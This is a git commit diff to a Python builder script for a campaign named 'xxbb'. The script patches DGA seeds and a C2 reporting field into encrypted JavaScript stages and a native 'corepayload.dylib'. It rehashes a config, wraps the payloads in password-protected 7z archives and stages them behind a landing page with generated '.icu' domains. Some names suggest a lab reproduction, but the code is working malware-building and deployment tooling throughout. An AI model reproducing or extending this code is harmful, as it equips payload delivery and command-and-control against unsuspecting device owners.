feat: xxbb

This commit is contained in:
hashbro
2026-08-13 07:08:02 +08:00
parent c6e386e069
commit dbe6358a3c
11 changed files with 311 additions and 159 deletions
+110 -31
View File
@@ -1,9 +1,9 @@
#!/usr/bin/env python3
"""Patch xxbb weifile secondary packs (DGA seeds + reporting field c).
"""Patch xxbb secondary packs + corepayload `c`, apply shared weifile/details.
Per-channel landing:
{artifact-root}/source/{channel_name}/index.html
Shared details stay at {artifact-root}/details/.
Artifact layout (shared, not per-channel folders):
{artifact-root}/weifile/ (landing weifile.html + stages + patched secondary)
{artifact-root}/details/ (show.html + patched corepayload.js + plugins)
Seed resolution (same idea as channel-builder/tools/new_project.py):
1. both --deployment-seed and --reporting-seed
@@ -22,6 +22,7 @@ import shutil
from datetime import datetime, timezone
from pathlib import Path
from _details_pack import extract_member, make_passworded_7z
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
from reproduce_xxbb_dga import generate_domains
@@ -37,8 +38,14 @@ RESULT_MARKER = "CORUNA_BUILD_RESULT "
LAB_SEEDS_NAME = "lab_seeds.json"
CHANNEL_NAME_RE = re.compile(r"^[a-z0-9]{8,32}$")
XXBB_DGA_HOST_RE = re.compile(r"^[a-z0-9]{15}\.icu$")
CHANNEL_ROOT = "source"
LANDING_NAME = "index.html"
WEIFILE_ROOT = "weifile"
DETAILS_ROOT = "details"
LANDING_NAME = "weifile.html"
CORE_WIRE_NAME = "corepayload.js"
CORE_MEMBER_NAME = "corepayload.dylib"
SHOW_WIRE_NAME = "show.html"
SHOW_MEMBER_NAME = "data.bin"
CORE_C_EXPECT = 6
DGA_COUNT = 5
ORIGINAL_DEP = "321fb0c812b46265421b5ad9654c2b81"
@@ -231,6 +238,73 @@ def patch_dylib(
return bytes(buf)
def patch_core_dylib(data: bytes, *, channel_c: str, label: str) -> bytes:
"""Replace all ORIGINAL_C slots in corepayload.dylib (DGA + report field)."""
buf = bytearray(data)
replace_slot(
buf,
ORIGINAL_C.encode("ascii"),
pack_ascii32("--channel-c", channel_c),
label=label,
expect=CORE_C_EXPECT,
)
if ORIGINAL_C.encode("ascii") in buf and channel_c != ORIGINAL_C:
raise SystemExit(f"{label}: original c still present")
if channel_c.encode("ascii") not in buf:
raise SystemExit(f"{label}: patched channel_c missing")
return bytes(buf)
def update_show_config(config_bytes: bytes, *, core_sha256: str, core_size: int) -> bytes:
doc = json.loads(config_bytes.decode("utf-8"))
if not isinstance(doc, dict) or not isinstance(doc.get("core"), dict):
raise SystemExit("show data.bin: missing core object")
core = doc["core"]
core["sha256"] = core_sha256
core["size"] = core_size
# Keep compact JSON (no spaces) to stay close to campaign wire shape.
return json.dumps(doc, separators=(",", ":"), ensure_ascii=False).encode("utf-8")
def build_details(
*,
channel_c: str,
out_dir: Path,
) -> dict:
"""Patch corepayload + refresh show.html hashes; write wires under out_dir/details_wires."""
src_core = SOURCE_DETAILS / CORE_WIRE_NAME
src_show = SOURCE_DETAILS / SHOW_WIRE_NAME
if not src_core.is_file() or not src_show.is_file():
raise SystemExit(f"missing details templates under {SOURCE_DETAILS}")
member, core_plain = extract_member(src_core.read_bytes())
if member != CORE_MEMBER_NAME:
raise SystemExit(f"unexpected core member name: {member!r}")
patched_core = patch_core_dylib(core_plain, channel_c=channel_c, label=CORE_MEMBER_NAME)
core_digest = sha256_hex(patched_core)
core_wire = make_passworded_7z(CORE_MEMBER_NAME, patched_core)
show_member, show_plain = extract_member(src_show.read_bytes())
if show_member != SHOW_MEMBER_NAME:
raise SystemExit(f"unexpected show member name: {show_member!r}")
show_updated = update_show_config(show_plain, core_sha256=core_digest, core_size=len(patched_core))
show_wire = make_passworded_7z(SHOW_MEMBER_NAME, show_updated)
wires = out_dir / "details_wires"
wires.mkdir(parents=True, exist_ok=True)
(wires / CORE_WIRE_NAME).write_bytes(core_wire)
(wires / SHOW_WIRE_NAME).write_bytes(show_wire)
(out_dir / "dylibs" / CORE_MEMBER_NAME).write_bytes(patched_core)
return {
"core_sha256": core_digest,
"core_size": len(patched_core),
"core_wire_size": len(core_wire),
"show_wire_size": len(show_wire),
"core_c_hits": patched_core.count(channel_c.encode("ascii")),
}
def copy_tree(src: Path, dst: Path) -> None:
if dst.exists():
shutil.rmtree(dst)
@@ -397,7 +471,7 @@ def default_state_root() -> Path:
def main() -> int:
parser = argparse.ArgumentParser(
description="Replace weifile type-0x01 DGA seeds and reporting c, then re-encrypt .min.js."
description="Patch xxbb secondary + corepayload c; apply shared /weifile and /details."
)
parser.add_argument("--deployment-seed", help="optional; else lab_seeds.json / generate")
parser.add_argument("--reporting-seed", help="optional; else lab_seeds.json / generate")
@@ -407,13 +481,13 @@ def main() -> int:
)
parser.add_argument(
"--channel-name",
help="per-channel folder + html name; required with --apply",
help="deprecated/ignored (shared /weifile layout; kept for CLI compatibility)",
)
parser.add_argument(
"--artifact-root",
type=Path,
default=PROJECT_ROOT / "public",
help="directory that will contain {channel_name}/ and details/",
help="directory that will contain weifile/ and details/",
)
parser.add_argument(
"--state-root",
@@ -429,12 +503,12 @@ def main() -> int:
parser.add_argument(
"--apply",
action="store_true",
help="copy weifile into {artifact}/source/{channel_name}/ and shared details/",
help="write shared {artifact}/weifile/ and {artifact}/details/",
)
parser.add_argument(
"--force",
action="store_true",
help="replace an existing {channel_name}/ directory",
help="replace existing weifile/ and details/ (default with --apply)",
)
parser.add_argument(
"--scheme",
@@ -453,11 +527,9 @@ def main() -> int:
cli_c=args.channel_c,
)
channel_name = ""
# Optional legacy flag; shared layout no longer uses per-channel folders.
if args.channel_name:
channel_name = validate_channel_name(args.channel_name)
elif args.apply:
raise SystemExit("--channel-name is required with --apply")
validate_channel_name(args.channel_name)
meta = load_keys()
stems = meta["stems"]
@@ -499,33 +571,38 @@ def main() -> int:
built.append({"stem": stem, "group": group, "size": len(wire), "sha256": sha256_hex(wire)})
print(f" wrote {dest.name} ({len(wire)} bytes)")
details_meta = build_details(channel_c=channel_c, out_dir=out)
print(
f"corepayload: patched c hits={details_meta['core_c_hits']} "
f"sha256={details_meta['core_sha256'][:16]}… size={details_meta['core_size']}"
)
weifile_path = ""
details_path = ""
if args.apply:
artifact = args.artifact_root.resolve()
dest_channel = artifact / CHANNEL_ROOT / channel_name
dest_details = artifact / "details"
if dest_channel.exists() and not args.force:
raise SystemExit(f"channel dir already exists (pass --force): {dest_channel}")
dest_weifile = artifact / WEIFILE_ROOT
dest_details = artifact / DETAILS_ROOT
# Shared trees are always replaced on --apply.
if not SOURCE_WEIFILE.is_dir():
raise SystemExit(f"missing weifile template: {SOURCE_WEIFILE}")
if not SOURCE_DETAILS.is_dir():
raise SystemExit(f"missing details template: {SOURCE_DETAILS}")
copy_tree(SOURCE_WEIFILE, dest_channel)
landing = dest_channel / LANDING_NAME
src_html = dest_channel / "weifile.html"
if not src_html.is_file():
raise SystemExit(f"missing weifile.html in template copy: {src_html}")
shutil.copy2(src_html, landing)
copy_tree(SOURCE_WEIFILE, dest_weifile)
if not (dest_weifile / LANDING_NAME).is_file():
raise SystemExit(f"missing {LANDING_NAME} in template copy: {dest_weifile}")
copy_tree(SOURCE_DETAILS, dest_details)
shutil.copy2(out / "details_wires" / CORE_WIRE_NAME, dest_details / CORE_WIRE_NAME)
shutil.copy2(out / "details_wires" / SHOW_WIRE_NAME, dest_details / SHOW_WIRE_NAME)
for item in built:
src = out / f"{item['stem']}.min.js"
dst = dest_channel / src.name
dst = dest_weifile / src.name
shutil.copy2(src, dst)
print(f"applied -> {dst}")
print(f"applied weifile -> {dest_weifile}")
print(f"applied details -> {dest_details}")
weifile_path = f"/{CHANNEL_ROOT}/{channel_name}/{LANDING_NAME}"
details_path = "/details/"
weifile_path = f"/{WEIFILE_ROOT}/{LANDING_NAME}"
details_path = f"/{DETAILS_ROOT}/"
print("deployment domains:")
for i, domain in enumerate(domains.get("deployment") or [], 1):
@@ -537,12 +614,12 @@ def main() -> int:
result = {
"campaign": "xxbb",
"builder_type": "new",
"channel_name": channel_name or None,
"channel_name": None,
"weifile_path": weifile_path or None,
"support_path": weifile_path or None,
"details_path": details_path or None,
"seeds_initialized": seeds_initialized,
"sync_rebuilt": False,
"sync_rebuilt": bool(args.apply),
"domains": domains,
"seeds": {
"deployment_seed": dep,
@@ -552,9 +629,11 @@ def main() -> int:
"seven_zip_password": SEVEN_ZIP_PASSWORD,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
"details": details_meta,
"scheme": args.scheme,
"notes": [
"details/core not patched; native /event c still original until a later pass",
"secondary + corepayload c patched; domains follow channel_c DGA",
"shared artifact paths: /weifile/weifile.html and /details/",
"index.js iptj URL / channelCode not patched",
"domains are PLServerPool first 5 from channel_c (xxbb DGA: 15-char [a-z0-9] + .icu)",
f"native DGA/C2 scheme={args.scheme}",